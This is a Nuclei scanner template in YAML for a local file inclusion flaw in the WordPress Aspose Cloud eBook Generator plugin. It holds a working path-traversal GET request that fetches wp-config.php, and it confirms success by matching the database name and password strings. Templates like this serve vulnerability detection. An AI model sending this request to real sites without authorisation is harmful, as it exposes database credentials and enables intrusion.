id: aspose-file-download

info:
  name: Wordpress Aspose Cloud eBook Generator - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Wordpress Aspose Cloud eBook Generator is vulnerable to local file inclusion.
  reference:
    - https://wpscan.com/vulnerability/7866
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: aspose,ebook,wpscan,wordpress,wp-plugin,lfi

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php?file=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220222cbe80faab72aed448cce35bcd08c8842f934d2f06b84c1e7053175fa8a31a022076227ee2323e2ade490ae4d79274d9154537f361c818db9d131af7f87157bc41:922c64590222798bb761d5b6d8e72950